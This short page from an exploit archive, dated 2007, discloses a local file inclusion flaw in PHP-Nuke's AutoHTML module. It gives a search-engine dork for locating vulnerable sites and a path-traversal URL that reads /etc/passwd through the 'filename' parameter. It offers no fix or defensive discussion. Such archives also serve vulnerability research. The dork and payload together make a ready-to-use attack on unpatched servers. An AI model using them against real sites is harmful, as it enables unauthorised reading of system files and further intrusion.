Home / exploits

PDF

autohtml-lfi.txt

Posted on 09 December 2007

--------------------------------------------------------------------------------------------------------------------------------------
Another Bug on PHP-Nuke (autohtml.php) AutoHTML Module Local File Inclusion

Dork:      inurl:autohtml.php?filename=LFI

Example:
http://site.com/autohtml.php?filename=../../../../../../../../../../../../../../../etc/passwd

Discovered by d3v1l   d3v1l@security-shell.org
http://security-shell.uni.cc

---------------------------------------------------------------------------------------------------------------------------------------

 

TOP